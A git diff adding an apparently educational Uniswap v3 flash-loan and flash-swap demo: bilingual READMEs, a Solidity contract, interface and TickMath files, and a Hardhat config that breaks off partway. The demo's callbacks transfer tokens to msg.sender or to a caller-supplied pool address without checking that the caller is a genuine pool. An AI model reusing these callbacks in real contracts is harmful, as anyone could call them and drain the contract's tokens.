+uniswapV3 pool 的 swap 回调接口. 通过 uniswap v3 的官方页面进行 swap 的时候，实际是调用 uniswap v3 router 的 swap 接口，同时 uniswap v3 router 已经实现了 uniswapV3SwapCallback 的处理，所以用户感知不到回调。但如果是通过 uniswap v3 pool 的 swap 接口进行 swap 操作时，调用合约需要实现 uniswapV3SwapCallback ， 否则会调用失败。  
+不同于 uniswapV3FlashCallback 回调时，uniswap v3 pool 回调传入的 amount 参数只有需要支付的 fee，用户的 borrow amount 需要自行进行处理。而 uniswapV3SwapCallback 回调时，uniswap v3 pool 传入的参数为此次 swap 需要偿还币种的数量 ( token0 和 token1 )。   
+举例来说，我们想使用 10 WETH 换取 20 DAI，当 swap 回调成功时，pool 会借贷 20 DAI 给调用者 （ 注意此时我们还没有转入 10 WETH 给 pool ），然后传入此次 swap 需要 repay 的 token0 或 token1 的数量，即转入 10 WETH 给 pool 完成此次 swap ， 或是再转回 20 DAI 给 pool ( 相当于不进行 swap )。 
+
+```solidity
+    /// @notice Uniswap v3 callback fn, called back on pool.swap
+    // amount0Delta: token0 amount which is needed to repay to pool at least
+    // amount1Delta: token1 amount which is needed to repay to pool at least
+    function uniswapV3SwapCallback(
+        int256 amount0Delta,
+        int256 amount1Delta,
+        bytes calldata data/*data*/
+    ) external {
+        (
+            address pool,
+            bool zeroForOne
+        ) = abi.decode(data, (address,bool));
+        // do your callback actions here
+        console.log('[+] Do swap callback ');
+
+        // token0 repay amount for swap. for this demo, we just repay token0 amount 
+        // for example, you swap 10 WETH , and get 20 DAI, you can choose whether repay 10 WETH ( token0 ) or 20 DAI ( token1 ). here, we suppose token0 is WETH , and we just repay WETH
+        if (zeroForOne)
+            IERC20(token0).transfer(msg.sender, uint256(amount0Delta));
+        else
+            IERC20(token1).transfer(msg.sender, uint256(amount1Delta));
+    }
+```
+
+## 操作步骤  
+- 安装依赖  
+```shell
+yarn
+```
+
+- 配置环境变量  
+```shell
+cp .env.example .env
+# 在 .env 中配置  INFURA_ID , PRIVATE_KEY, ETHERSCAN_APIKEY
+```
+
+- 执行闪电贷 && swap callback    
+```shell
+npx hardhat run scripts/flashloan_and_swapcallback.js --network rinkeby  
+```
+
+参考：  
+- 闪电贷详解：https://liaoph.com/uniswap-v3-6/   
+- uniswap-flash-swapper： https://github.com/gebob19/uniswap-v3-flashswap           
+- 获取 kovan Dai Token: https://docs.alchemist.wtf/copper/auction-creators/getting-test-tokens-for-balancer-lbps-on-the-kovan-testnet    
+- WETH Token List: https://docs.uniswap.org/protocol/reference/deployments    
+- uniswap v3 swap callback: https://github.com/makerdao/univ3-lp-oracle/blob/master/src/GUniLPOracle.t.sol  
+- uniswap v3 pool: https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol  
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv3/README.md b/basic/20-flash-loan/uniswapv3/README.md
new file mode 100644
index 000000000..9d44915fa
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/README.md
@@ -0,0 +1,118 @@
+[中文](./README-CN.md) / English
+
+# Uniswap v3 Flashswap introduce  
+
+In v3 version of Uniswap, it has two ways to use flash loan like v2, but by using different functions.
+
+The first one is the normal flash loan, which is you need to borrow and repay the same type of token, by calling UniswapV3Pool.flash() to do this.
+
+The second one is similar to flash swap of v2, you don't need to use the same token to borrow or repay, you can call UniswapV3Pool.swap() to make this.
+
+## codes illustrate  
+- constructor  
+The constructor function of the contract, it used to call flash loan and flash swap.  
+
+When it is deployed you need to pass the addresses of token0 and token1, one of them should be WETH, another one can be DAI/USDC/USDT, etc. In this example, we want to borrow WETH, so it requires we should set one of token0 or token1 to be WETH  
+
+```solidity
+constructor(address _token0, address _token1) {
+        token0 = _token0;
+        token1 = _token1;
+
+        // pool fees that where be used to get the pool with largest liquidity
+        v3Fees[0] = 500;
+        v3Fees[1] = 3000;
+        v3Fees[2] = 10000;
+    }
+
+```
+
+- uniswapV3FlashCallback   
+The callback interface of pool.flash. After we called pool.flash, uniswap V3 will loan a number of amount tokens to the caller depending on the value of token0 amount and token1 amount which is passed to the interface, and then call the caller's uniswapV3FlashCallback function to let the caller proceed to deal. When uniswapV3FlashCallback callback is over, uniswap V3 pool will check out whether the caller repay the correspondence amount + fee to the pool, if did then the flash loan can be successfully called, otherwise the calling of the flash loan will fail.  
+
+We don't do further operations in demo contract, just repay amount + fee to the pool, when you actually use it, you can add correspondence dealing codes to it.  
+
+```solidity
+// callback function of uniswap V3's flash loan
+    // _fee0: callback data, input by uniswapV3 automatically, which is used to repay for the borrow. which means, if you borrow 5 token0 , you need to repay "5 + _fee0"
+    // _fee1: same as _fee0, which is used for token1
+    // data: user input data when call pool.flash
+    function uniswapV3FlashCallback(uint256 _fee0, uint256 _fee1, bytes calldata data) external {
+        (
+            uint256 amount0,
+            uint256 amount1,
+            address pool
+        ) = abi.decode(data, (uint256, uint256,address));
+
+        uint256 fee0 = _fee0;
+        uint256 fee1 = _fee1;
+
+        // launch actions
+        {
+           
+            console.log('[+] Do flashloan ');
+
+        }
+
+        // repay flash loan
+        IERC20(token0).transfer(pool, amount0 + fee0);
+        IERC20(token1).transfer(pool, amount1 + fee1);
+    }
+```   
+   
+- uniswapV3SwapCallback   
+The callback interface of the swap of uniswapV3 pool function. When we swap by uniswap v3 official webpage, it's actually calling swap interface of uniswap v3 router, meanwhile, uniswap v3 router had already implemented the uniswapV3SwapCallback, so the user won't feel anything about it. But if we do swap operation by call swap interface of uniswap v3 pool, the contract needs to implement uniswapV3SwapCallback, otherwise, the calling will fail.  
+
+It's different with when uniswapV3FlashCallback is doing a callback that the amount param which passes to uniswap v3 pool callback is only the number of fee which need to be paid, the borrowed amount of user need to be dealt with by itself. But when callback in uniswapV3SwapCallback, the param to uniswap v3 pool is the token amount ( token0 and token1 ) need to repay for this swap.   
+
+For example, if we want to use 10 WETH to exchange 20 DAI, when the callback of swap is succeeded, the pool will borrow 20 DAI to caller ( attention, at this moment we haven't transferred 10 WETH to the pool ), and then pass the amount of token0 or token1 which need repay for this swap, thus repay 10 WETH to the pool to finish this swap, or repay 20 DAI  to it ( equal to we don't do swap this time ). 
+
+```solidity
+    /// @notice Uniswap v3 callback fn, called back on pool.swap
+    // amount0Delta: token0 amount which is needed to repay to pool at least
+    // amount1Delta: token1 amount which is needed to repay to pool at least
+    function uniswapV3SwapCallback(
+        int256 amount0Delta,
+        int256 amount1Delta,
+        bytes calldata data/*data*/
+    ) external {
+        (
+            address pool,
+            bool zeroForOne
+        ) = abi.decode(data, (address,bool));
+        // do your callback actions here
+        console.log('[+] Do swap callback ');
+
+        // token0 repay amount for swap. for this demo, we just repay token0 amount 
+        // for example, you swap 10 WETH , and get 20 DAI, you can choose whether repay 10 WETH ( token0 ) or 20 DAI ( token1 ). here, we suppose token0 is WETH , and we just repay WETH
+        if (zeroForOne)
+            IERC20(token0).transfer(msg.sender, uint256(amount0Delta));
+        else
+            IERC20(token1).transfer(msg.sender, uint256(amount1Delta));
+    }
+```
+
+## Steps  
+- Install dependencies  
+```shell
+yarn
+```
+
+- Config the envrioument  
+```shell
+cp .env.example .env
+# set INFURA_ID , PRIVATE_KEY, ETHERSCAN_APIKEY in .env
+```
+
+- Start flashloan && swap callback    
+```shell
+npx hardhat run scripts/flashloan_and_swapcallback.js --network rinkeby  
+```
+
+## Reference link  
+- Detail of flash loan：https://liaoph.com/uniswap-v3-6/   
+- uniswap-flash-swapper： https://github.com/gebob19/uniswap-v3-flashswap           
+- Get kovan Dai Token: https://docs.alchemist.wtf/copper/auction-creators/getting-test-tokens-for-balancer-lbps-on-the-kovan-testnet    
+- WETH Token List: https://docs.uniswap.org/protocol/reference/deployments    
+- uniswap v3 swap callback: https://github.com/makerdao/univ3-lp-oracle/blob/master/src/GUniLPOracle.t.sol  
+- uniswap v3 pool: https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol  
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv3/contracts/FlashLoanAndSwap.sol b/basic/20-flash-loan/uniswapv3/contracts/FlashLoanAndSwap.sol
new file mode 100644
index 000000000..0265de031
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/contracts/FlashLoanAndSwap.sol
@@ -0,0 +1,147 @@
+pragma solidity ^0.8.0;
+
+import "./interfaces/IUniswapV3Pool.sol";
+import "./interfaces/IUniswapV3Factory.sol";
+import "./interfaces/IERC20.sol";
+import "./libraries/TickMath.sol";
+import "hardhat/console.sol";
+
+contract FlashLoanAndSwap {
+
+    IUniswapV3Factory public constant factory =
+        IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); // const value for all chains
+
+    address public token0;
+    address public token1;
+    uint24[3] public v3Fees;
+
+    // for this demo, suppose _token0 or _token1 is WETH
+    constructor(address _token0, address _token1) {
+        token0 = _token0;
+        token1 = _token1;
+
+        // pool fees that where be used to get the pool with largest liquidity
+        v3Fees[0] = 500;
+        v3Fees[1] = 3000;
+        v3Fees[2] = 10000;
+    }
+
+    // interface to run flashloan
+    // wethAmount: WETH amount to borrow from uniswapV3
+    function runFlashLoan(uint wethAmount) external {
+        // get the largest liquidity pool
+        IUniswapV3Pool pool = getTargetPool();
+        // get token symbole to decide which token is WETH
+        string memory token0Symbol = string(IERC20(token0).symbol());
+        uint token0Amont = keccak256(bytes(token0Symbol)) == keccak256('WETH') ? wethAmount : 0;
+
+        // for this demo, we only borrow WETH , for the other token, the borrow amount is 0
+        uint token1Amont = wethAmount - token0Amont;
+        pool.flash(
+            address(this),
+            token0Amont,
+            token1Amont, 
+            // additional info for uniswapV3FlashCallback, can be customed by user
+            abi.encode(token0Amont, token1Amont, address(pool))
+        );
+
+    }
+
+    // interface to run swap
+    function runSwap(int256 wethAmount) external {
+        // get the largest liquidity pool
+        IUniswapV3Pool pool = getTargetPool();
+        // get current price
+        (, int24 currentTick,,,,,) = IUniswapV3Pool(pool).slot0();
+        // can't run flash swap with current price, so we need to input price that is a little lower than current price
+        uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(currentTick - 1);
+        // get token symbole to decide which token is WETH
+        string memory token0Symbol = string(IERC20(token0).symbol());
+        // zeroForOne: true means to borrow token0 , false means to borrow token1
+        bool zeroForOne = keccak256(bytes(token0Symbol)) == keccak256('WETH');
+        pool.swap(
+            address(this),
+            zeroForOne,
+            wethAmount, 
+            sqrtPriceX96,
+             // additional info for uniswapV3SwapCallback, can be customed by user
+            abi.encode(address(pool),zeroForOne)
+        );
+
+    }
+
+    // callback function of uniswap V3's flash loan
+    // _fee0: callback data, input by uniswapV3 automatically, which is used to repay for the borrow. which means, if you borrow 5 token0 , you need to repay "5 + _fee0"
+    // _fee1: same as _fee0, which is used for token1
+    // data: user input data when call pool.flahs
+    function uniswapV3FlashCallback(uint256 _fee0, uint256 _fee1, bytes calldata data) external {
+        (
+            uint256 amount0,
+            uint256 amount1,
+            address pool
+        ) = abi.decode(data, (uint256, uint256,address));
+
+        uint256 fee0 = _fee0;
+        uint256 fee1 = _fee1;
+
+        // launch actions
+        {
+           
+            console.log('[+] Do flashloan ');
+
+        }
+
+        // repay flash loan
+        IERC20(token0).transfer(pool, amount0 + fee0);
+        IERC20(token1).transfer(pool, amount1 + fee1);
+    }
+
+    /// @notice Uniswap v3 callback fn, called back on pool.swap
+    // amount0Delta: token0 amount which is needed to repay to pool at least
+    // amount1Delta: token1 amount which is needed to repay to pool at least
+    function uniswapV3SwapCallback(
+        int256 amount0Delta,
+        int256 amount1Delta,
+        bytes calldata data/*data*/
+    ) external {
+        (
+            address pool,
+            // wether token0 is WETH or not
+            bool zeroForOne
+        ) = abi.decode(data, (address,bool));
+        // do your callback actions here
+        console.log('[+] Do swap callback ');
+
+        // token0 repay amount for swap. for this demo, we just repay token0 amount 
+        // for example, you swap 10 WETH , and get 20 DAI, you can choose whether repay 10 WETH ( token0 ) or 20 DAI ( token1 ). here, we just repay WETH
+        if (zeroForOne)
+            IERC20(token0).transfer(msg.sender, uint256(amount0Delta));
+        else
+            IERC20(token1).transfer(msg.sender, uint256(amount1Delta));
+    }
+
+    // get the specific pool with the largest liquidity
+    function getTargetPool() internal view returns(
+        IUniswapV3Pool maxPool
+    ) {
+
+        uint128 poolLiquidity = 0;
+        uint128 maxLiquidity = 0;
+
+        for (uint256 i = 0; i < v3Fees.length; i++) {
+            address pool = factory.getPool(token0, token1, v3Fees[i]);
+
+            if (pool == address(0)) {
+                continue;
+            }
+
+            poolLiquidity = IUniswapV3Pool(pool).liquidity();
+
+            if (maxLiquidity < poolLiquidity) {
+                maxLiquidity = poolLiquidity;
+                maxPool = IUniswapV3Pool(pool);
+            }
+        }
+    }
+
+}
diff --git a/basic/20-flash-loan/uniswapv3/contracts/interfaces/IERC20.sol b/basic/20-flash-loan/uniswapv3/contracts/interfaces/IERC20.sol
new file mode 100644
index 000000000..acdf8b416
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/contracts/interfaces/IERC20.sol
@@ -0,0 +1,29 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface IERC20 {
+    event Approval(address indexed owner, address indexed spender, uint256 value);
+    event Transfer(address indexed from, address indexed to, uint256 value);
+
+    function allowance(address owner, address spender) external view returns (uint256);
+
+    function approve(address spender, uint256 value) external returns (bool);
+
+    function transfer(address to, uint256 value) external returns (bool);
+
+    function transferFrom(
+        address from,
+        address to,
+        uint256 value
+    ) external returns (bool);
+
+    function totalSupply() external view returns (uint256);
+
+    function balanceOf(address owner) external view returns (uint256);
+
+    function name() external view returns (string memory);
+
+    function symbol() external view returns (string memory);
+
+    function decimals() external pure returns (uint8);
+}
diff --git a/basic/20-flash-loan/uniswapv3/contracts/interfaces/IUniswapV3Factory.sol b/basic/20-flash-loan/uniswapv3/contracts/interfaces/IUniswapV3Factory.sol
new file mode 100644
index 000000000..540cfdc68
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/contracts/interfaces/IUniswapV3Factory.sol
@@ -0,0 +1,78 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity >=0.5.0;
+
+/// @title The interface for the Uniswap V3 Factory
+/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees
+interface IUniswapV3Factory {
+    /// @notice Emitted when the owner of the factory is changed
+    /// @param oldOwner The owner before the owner was changed
+    /// @param newOwner The owner after the owner was changed
+    event OwnerChanged(address indexed oldOwner, address indexed newOwner);
+
+    /// @notice Emitted when a pool is created
+    /// @param token0 The first token of the pool by address sort order
+    /// @param token1 The second token of the pool by address sort order
+    /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
+    /// @param tickSpacing The minimum number of ticks between initialized ticks
+    /// @param pool The address of the created pool
+    event PoolCreated(
+        address indexed token0,
+        address indexed token1,
+        uint24 indexed fee,
+        int24 tickSpacing,
+        address pool
+    );
+
+    /// @notice Emitted when a new fee amount is enabled for pool creation via the factory
+    /// @param fee The enabled fee, denominated in hundredths of a bip
+    /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee
+    event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);
+
+    /// @notice Returns the current owner of the factory
+    /// @dev Can be changed by the current owner via setOwner
+    /// @return The address of the factory owner
+    function owner() external view returns (address);
+
+    /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled
+    /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context
+    /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee
+    /// @return The tick spacing
+    function feeAmountTickSpacing(uint24 fee) external view returns (int24);
+
+    /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist
+    /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order
+    /// @param tokenA The contract address of either token0 or token1
+    /// @param tokenB The contract address of the other token
+    /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip
+    /// @return pool The pool address
+    function getPool(
+        address tokenA,
+        address tokenB,
+        uint24 fee
+    ) external view returns (address pool);
+
+    /// @notice Creates a pool for the given two tokens and fee
+    /// @param tokenA One of the two tokens in the desired pool
+    /// @param tokenB The other of the two tokens in the desired pool
+    /// @param fee The desired fee for the pool
+    /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved
+    /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments
+    /// are invalid.
+    /// @return pool The address of the newly created pool
+    function createPool(
+        address tokenA,
+        address tokenB,
+        uint24 fee
+    ) external returns (address pool);
+
+    /// @notice Updates the owner of the factory
+    /// @dev Must be called by the current owner
+    /// @param _owner The new owner of the factory
+    function setOwner(address _owner) external;
+
+    /// @notice Enables a fee amount with the given tickSpacing
+    /// @dev Fee amounts may never be removed once enabled
+    /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)
+    /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount
+    function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
+}
diff --git a/basic/20-flash-loan/uniswapv3/contracts/interfaces/IUniswapV3Pool.sol b/basic/20-flash-loan/uniswapv3/contracts/interfaces/IUniswapV3Pool.sol
new file mode 100644
index 000000000..9c048bfab
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/contracts/interfaces/IUniswapV3Pool.sol
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity >=0.5.0;
+
+interface IUniswapV3Pool {
+    function slot0() external view returns (
+        // the current price
+        uint160 sqrtPriceX96,
+        // the current tick
+        int24 tick,
+        // the most-recently updated index of the observations array
+        uint16 observationIndex,
+        // the current maximum number of observations that are being stored
+        uint16 observationCardinality,
+        // the next maximum number of observations to store, triggered in observations.write
+        uint16 observationCardinalityNext,
+        // the current protocol fee as a percentage of the swap fee taken on withdrawal
+        // represented as an integer denominator (1/x)%
+        uint8 feeProtocol,
+        // whether the pool is locked
+        bool unlocked
+    );
+
+    function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
+
+    function observations(uint256 index)
+        external
+        view
+        returns (
+            uint32 blockTimestamp,
+            int56 tickCumulative,
+            uint160 secondsPerLiquidityCumulativeX128,
+            bool initialized
+        );
+
+    function liquidity() external view returns (uint128);
+
+    function token0() external view returns (address);
+
+    function token1() external view returns (address);
+
+    function fee() external view returns (uint24);
+
+    function observe(uint32[] calldata secondsAgos)
+        external
+        view
+        returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
+
+    function flash(address, uint256, uint256, bytes calldata) external;
+
+    function mint(address, int24, int24, uint128, bytes calldata) external;
+
+    function burn(int24, int24, uint128) external returns (uint256, uint256);
+
+    function collect(address, int24, int24, uint128, uint128) external;
+
+    function swap(
+        address recipient,
+        bool zeroForOne,
+        int256 amountSpecified,
+        uint160 sqrtPriceLimitX96,
+        bytes calldata data
+    ) external returns (int256 amount0, int256 amount1);
+
+    function initialize(uint160 sqrtPriceX96) external;
+}
diff --git a/basic/20-flash-loan/uniswapv3/contracts/interfaces/IWETH9.sol b/basic/20-flash-loan/uniswapv3/contracts/interfaces/IWETH9.sol
new file mode 100644
index 000000000..fb732754d
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/contracts/interfaces/IWETH9.sol
@@ -0,0 +1,15 @@
+pragma solidity ^0.8.0;
+
+interface IWETH9 {
+    function deposit() external payable;
+    function withdraw(uint wad) external;
+
+    function totalSupply() external view returns (uint);
+
+    function approve(address guy, uint wad) external returns (bool);
+
+    function transfer(address dst, uint wad) external returns (bool);
+
+    function transferFrom(address src, address dst, uint wad) external returns (bool);
+
+}
\ No newline at end of file
diff --git a/basic/20-flash-loan/uniswapv3/contracts/libraries/TickMath.sol b/basic/20-flash-loan/uniswapv3/contracts/libraries/TickMath.sol
new file mode 100644
index 000000000..3c79fc378
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/contracts/libraries/TickMath.sol
@@ -0,0 +1,205 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+/// @title Math library for computing sqrt prices from ticks and vice versa
+/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
+/// prices between 2**-128 and 2**128
+library TickMath {
+    /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
+    int24 internal constant MIN_TICK = -887272;
+    /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
+    int24 internal constant MAX_TICK = -MIN_TICK;
+
+    /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
+    uint160 internal constant MIN_SQRT_RATIO = 4295128739;
+    /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
+    uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
+
+    /// @notice Calculates sqrt(1.0001^tick) * 2^96
+    /// @dev Throws if |tick| > max tick
+    /// @param tick The input tick for the above formula
+    /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
+    /// at the given tick
+    function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
+        uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
+        require(absTick <= uint256(int256(MAX_TICK)), "T");
+
+        uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
+        if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
+        if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
+        if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
+        if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
+        if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
+        if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
+        if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
+        if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
+        if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
+        if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
+        if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
+        if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
+        if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
+        if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
+        if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
+        if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
+        if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
+        if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
+        if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
+
+        if (tick > 0) ratio = type(uint256).max / ratio;
+
+        // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
+        // we then downcast because we know the result always fits within 160 bits due to our tick input constraint
+        // we round up in the division so getTickAtSqrtRatio of the output price is always consistent
+        sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
+    }
+
+    /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
+    /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
+    /// ever return.
+    /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
+    /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
+    function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
+        // second inequality must be < because the price can never reach the price at the max tick
+        require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, "R");
+        uint256 ratio = uint256(sqrtPriceX96) << 32;
+
+        uint256 r = ratio;
+        uint256 msb = 0;
+
+        assembly {
+            let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(5, gt(r, 0xFFFFFFFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(4, gt(r, 0xFFFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(3, gt(r, 0xFF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(2, gt(r, 0xF))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := shl(1, gt(r, 0x3))
+            msb := or(msb, f)
+            r := shr(f, r)
+        }
+        assembly {
+            let f := gt(r, 0x1)
+            msb := or(msb, f)
+        }
+
+        if (msb >= 128) r = ratio >> (msb - 127);
+        else r = ratio << (127 - msb);
+
+        int256 log_2 = (int256(msb) - 128) << 64;
+
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(63, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(62, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(61, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(60, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(59, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(58, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(57, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(56, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(55, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(54, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(53, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(52, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(51, f))
+            r := shr(f, r)
+        }
+        assembly {
+            r := shr(127, mul(r, r))
+            let f := shr(128, r)
+            log_2 := or(log_2, shl(50, f))
+        }
+
+        int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
+
+        int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
+        int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
+
+        tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
+    }
+}
diff --git a/basic/20-flash-loan/uniswapv3/hardhat.config.js b/basic/20-flash-loan/uniswapv3/hardhat.config.js
new file mode 100644
index 000000000..66d1e322c
--- /dev/null
+++ b/basic/20-flash-loan/uniswapv3/hardhat.config.js
@@ -0,0 +1,59 @@
+require("@nomiclabs/hardhat-waffle");
+require("@nomiclabs/hardhat-etherscan");
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: '0.8.0',
+  etherscan: {
+    // Your API key for Etherscan
+    // Obtain one at https://etherscan.io/
+    apiKey: process.env.ETHERSCAN_APIKEY
+  },
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
